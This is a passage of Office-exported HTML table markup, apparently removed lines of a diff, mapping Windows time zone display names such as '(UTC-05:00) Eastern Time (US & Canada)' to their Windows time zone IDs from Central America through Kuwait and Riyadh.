-<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>Central America Standard Time</FONT></TD></TR>
-<TR style="HEIGHT: 15pt" height=20>
-<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC-06:00) Central Time (US &amp; Canada)<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
-<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>Central Standard Time</FONT></TD></TR>
-<TR style="HEIGHT: 15pt" height=20>
-<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC-06:00) Guadalajara, Mexico City, Monterrey<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
-<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>Central Standard Time (Mexico)</FONT></TD></TR>
-<TR style="HEIGHT: 15pt" height=20>
-<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC-06:00) Saskatchewan<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
-<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>Canada Central Standard Time</FONT></TD></TR>
-<TR style="HEIGHT: 15pt" height=20>
-<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC-05:00) Bogota, Lima, Quito<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
-<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>SA Pacific Standard Time</FONT></TD></TR>
-<TR style="HEIGHT: 15pt" height=20>
-<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC-05:00) Eastern Time (US &amp; Canada)<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
-<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>Eastern Standard Time</FONT></TD></TR>
-<TR style="HEIGHT: 15pt" height=20>
-<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC-05:00) Indiana (East)<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
-<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>US Eastern Standard Time</FONT></TD></TR>
-<TR style="HEIGHT: 15pt" height=20>
-<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC-04:30) Caracas<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
-<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>Venezuela Standard Time</FONT></TD></TR>
-<TR style="HEIGHT: 15pt" height=20>
-<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC-04:00) Asuncion<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
-<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>Paraguay Standard Time</FONT></TD></TR>
-<TR style="HEIGHT: 15pt" height=20>
-<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC-04:00) Atlantic Time (Canada)<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
-<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>Atlantic Standard Time</FONT></TD></TR>
-<TR style="HEIGHT: 15pt" height=20>
-<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC-04:00) Cuiaba<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
-<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>Central Brazilian Standard Time</FONT></TD></TR>
-<TR style="HEIGHT: 15pt" height=20>
-<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC-04:00) Georgetown, La Paz, Manaus, San Juan<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
-<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>SA Western Standard Time</FONT></TD></TR>
-<TR style="HEIGHT: 15pt" height=20>
-<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC-04:00) Santiago<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
-<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>Pacific SA Standard Time</FONT></TD></TR>
-<TR style="HEIGHT: 15pt" height=20>
-<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC-03:30) Newfoundland<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
-<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>Newfoundland Standard Time</FONT></TD></TR>
-<TR style="HEIGHT: 15pt" height=20>
-<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC-03:00) Brasilia<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
-<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>E. South America Standard Time</FONT></TD></TR>
-<TR style="HEIGHT: 15pt" height=20>
-<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC-03:00) Buenos Aires<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
-<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>Argentina Standard Time</FONT></TD></TR>
-<TR style="HEIGHT: 15pt" height=20>
-<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC-03:00) Cayenne, Fortaleza<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
-<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>SA Eastern Standard Time</FONT></TD></TR>
-<TR style="HEIGHT: 15pt" height=20>
-<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC-03:00) Greenland<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
-<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>Greenland Standard Time</FONT></TD></TR>
-<TR style="HEIGHT: 15pt" height=20>
-<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC-03:00) Montevideo<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
-<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>Montevideo Standard Time</FONT></TD></TR>
-<TR style="HEIGHT: 15pt" height=20>
-<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC-02:00) Coordinated Universal Time-02<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
-<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>UTC-02</FONT></TD></TR>
-<TR style="HEIGHT: 15pt" height=20>
-<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC-02:00) Mid-Atlantic<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
-<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>Mid-Atlantic Standard Time</FONT></TD></TR>
-<TR style="HEIGHT: 15pt" height=20>
-<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC-01:00) Azores<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
-<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>Azores Standard Time</FONT></TD></TR>
-<TR style="HEIGHT: 15pt" height=20>
-<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC-01:00) Cape Verde Is.<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
-<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>Cape Verde Standard Time</FONT></TD></TR>
-<TR style="HEIGHT: 15pt" height=20>
-<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC) Casablanca<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
-<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>Morocco Standard Time</FONT></TD></TR>
-<TR style="HEIGHT: 15pt" height=20>
-<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC) Coordinated Universal Time<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
-<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>UTC</FONT></TD></TR>
-<TR style="HEIGHT: 15pt" height=20>
-<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC) Dublin, Edinburgh, Lisbon, London<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
-<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>GMT Standard Time</FONT></TD></TR>
-<TR style="HEIGHT: 15pt" height=20>
-<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC) Monrovia, Reykjavik<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
-<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>Greenwich Standard Time</FONT></TD></TR>
-<TR style="HEIGHT: 15pt" height=20>
-<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC+01:00) Amsterdam, Berlin, Bern, Rome, Stockholm, Vienna<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
-<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>W. Europe Standard Time</FONT></TD></TR>
-<TR style="HEIGHT: 15pt" height=20>
-<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC+01:00) Belgrade, Bratislava, Budapest, Ljubljana, Prague<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
-<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>Central Europe Standard Time</FONT></TD></TR>
-<TR style="HEIGHT: 15pt" height=20>
-<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC+01:00) Brussels, Copenhagen, Madrid, Paris<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
-<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>Romance Standard Time</FONT></TD></TR>
-<TR style="HEIGHT: 15pt" height=20>
-<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC+01:00) Sarajevo, Skopje, Warsaw, Zagreb<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
-<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>Central European Standard Time</FONT></TD></TR>
-<TR style="HEIGHT: 15pt" height=20>
-<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC+01:00) West Central Africa<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
-<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>W. Central Africa Standard Time</FONT></TD></TR>
-<TR style="HEIGHT: 15pt" height=20>
-<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC+01:00) Windhoek<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
-<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>Namibia Standard Time</FONT></TD></TR>
-<TR style="HEIGHT: 15pt" height=20>
-<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC+02:00) Amman<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
-<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>Jordan Standard Time</FONT></TD></TR>
-<TR style="HEIGHT: 15pt" height=20>
-<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC+02:00) Athens, Bucharest, Istanbul<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
-<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>GTB Standard Time</FONT></TD></TR>
-<TR style="HEIGHT: 15pt" height=20>
-<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC+02:00) Beirut<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
-<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>Middle East Standard Time</FONT></TD></TR>
-<TR style="HEIGHT: 15pt" height=20>
-<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC+02:00) Cairo<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
-<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>Egypt Standard Time</FONT></TD></TR>
-<TR style="HEIGHT: 15pt" height=20>
-<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC+02:00) Damascus<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
-<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>Syria Standard Time</FONT></TD></TR>
-<TR style="HEIGHT: 15pt" height=20>
-<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC+02:00) Harare, Pretoria<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
-<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>South Africa Standard Time</FONT></TD></TR>
-<TR style="HEIGHT: 15pt" height=20>
-<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC+02:00) Helsinki, Kyiv, Riga, Sofia, Tallinn, Vilnius<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
-<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>FLE Standard Time</FONT></TD></TR>
-<TR style="HEIGHT: 15pt" height=20>
-<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC+02:00) Jerusalem<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
-<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>Israel Standard Time</FONT></TD></TR>
-<TR style="HEIGHT: 15pt" height=20>
-<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC+02:00) Minsk<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
-<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>E. Europe Standard Time</FONT></TD></TR>
-<TR style="HEIGHT: 15pt" height=20>
-<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC+03:00) Baghdad<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
-<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>Arabic Standard Time</FONT></TD></TR>
-<TR style="HEIGHT: 15pt" height=20>
-<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC+03:00) Kuwait, Riyadh<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
